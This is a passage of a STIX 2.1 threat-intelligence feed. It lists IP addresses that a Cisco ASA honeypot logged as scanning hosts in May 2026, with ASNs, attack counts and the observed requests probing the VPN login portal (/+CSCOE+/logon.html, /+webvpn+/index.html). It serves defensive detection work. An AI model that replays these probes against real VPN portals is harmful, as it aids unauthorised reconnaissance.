      "pattern": "[ipv4-addr:value = '77.72.84.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T10:20:10.000Z",
      "valid_until": "2026-06-27T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T09:36:21.407Z",
          "last_seen": "2026-05-26T09:36:32.082Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--472e36ae-e88c-4b22-959e-a418d5994f05",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '135.106.94.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T11:20:10.000Z",
      "valid_until": "2026-06-27T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T10:38:27.584Z",
          "last_seen": "2026-05-31T04:49:25.614Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--44f97631-ef17-434b-b24b-8e0fe4099cea",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '136.234.142.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T11:20:10.000Z",
      "valid_until": "2026-06-27T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T10:22:24.176Z",
          "last_seen": "2026-05-26T10:22:38.275Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--4a0915dd-2f13-4df3-9bc4-a11d9f1f923a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.79.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T11:20:10.000Z",
      "valid_until": "2026-06-27T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T11:05:07.964Z",
          "last_seen": "2026-05-26T11:05:19.827Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--b94f1055-e161-4b55-846e-42763b2b3c46",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.80.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T11:20:10.000Z",
      "valid_until": "2026-06-27T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T10:47:58.757Z",
          "last_seen": "2026-05-26T10:48:11.365Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--e7e7327e-9b22-403c-9fa5-cadcc10d7d0b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.104.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T11:20:10.000Z",
      "valid_until": "2026-06-27T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T10:50:43.020Z",
          "last_seen": "2026-05-29T20:23:23.333Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--e4ea9160-39a9-48de-84b3-945fa705efef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.1.252.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T11:20:10.000Z",
      "valid_until": "2026-06-27T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T10:44:22.909Z",
          "last_seen": "2026-05-26T10:44:35.600Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--dbd92027-d6f8-4d79-9a99-f367b44c6191",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.205.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T11:20:10.000Z",
      "valid_until": "2026-06-27T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T10:22:33.168Z",
          "last_seen": "2026-05-29T03:44:41.596Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--d97a7fa6-ce42-41be-863b-9712b06e29d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.50.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T11:20:10.000Z",
      "valid_until": "2026-06-27T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T11:09:35.841Z",
          "last_seen": "2026-05-30T15:31:24.585Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fdd63847-d811-482f-9163-c92643610fc5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.116.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T11:20:10.000Z",
      "valid_until": "2026-06-27T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-26T10:49:20.639Z",
          "last_seen": "2026-05-27T11:22:06.117Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--4dfbaf37-f79a-4cf6-a7d7-fd5444fa8f98",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.111.233.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T12:20:10.000Z",
      "valid_until": "2026-06-27T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 22,
          "first_seen": "2026-05-26T12:01:53.652Z",
          "last_seen": "2026-05-30T13:10:51.844Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--9fef520b-af51-434f-875b-e39297107cea",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.100.148.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T12:20:10.000Z",
      "valid_until": "2026-06-27T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T11:42:57.569Z",
          "last_seen": "2026-05-26T11:43:10.734Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--695a7cea-edaf-4a01-829f-9005b984e35c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.213.154.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T12:20:10.000Z",
      "valid_until": "2026-06-27T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-26T12:17:24.052Z",
          "last_seen": "2026-05-26T12:17:32.425Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--521bf165-e13d-4fd4-92f6-5a950f39ecac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.141.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T12:20:10.000Z",
      "valid_until": "2026-06-27T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T12:10:56.744Z",
          "last_seen": "2026-05-30T13:16:15.556Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--11c68ae3-5885-4c79-b729-d1cfb35083c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.8.75.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T12:20:10.000Z",
      "valid_until": "2026-06-27T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T11:36:24.347Z",
          "last_seen": "2026-05-29T05:16:27.237Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--33fa6931-381e-4f67-8e21-831867cfe4ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '2.57.148.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T12:20:10.000Z",
      "valid_until": "2026-06-27T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T12:07:48.772Z",
          "last_seen": "2026-05-30T07:22:34.116Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--e6277f40-02b1-4a14-af41-a99659284c26",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.140.255.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T12:20:10.000Z",
      "valid_until": "2026-06-27T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 22,
          "first_seen": "2026-05-26T11:37:41.347Z",
          "last_seen": "2026-05-29T08:39:58.645Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--9bd2f823-6e3f-4955-93ea-e601b8c08c74",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.192.42.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T12:20:10.000Z",
      "valid_until": "2026-06-27T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T11:31:36.570Z",
          "last_seen": "2026-05-29T17:44:35.607Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--9295cb53-b83e-4f3b-87f2-c8a75dfdcaa0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.192.43.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T12:20:10.000Z",
      "valid_until": "2026-06-27T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 11,
          "first_seen": "2026-05-26T12:02:13.797Z",
          "last_seen": "2026-05-29T23:38:06.116Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--11635825-f821-4048-963c-a708bad713a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.42.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T13:20:13.000Z",
      "valid_until": "2026-06-27T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T12:58:24.834Z",
          "last_seen": "2026-05-29T03:25:10.249Z",
          "country": "United States",
          "country_code": "US",
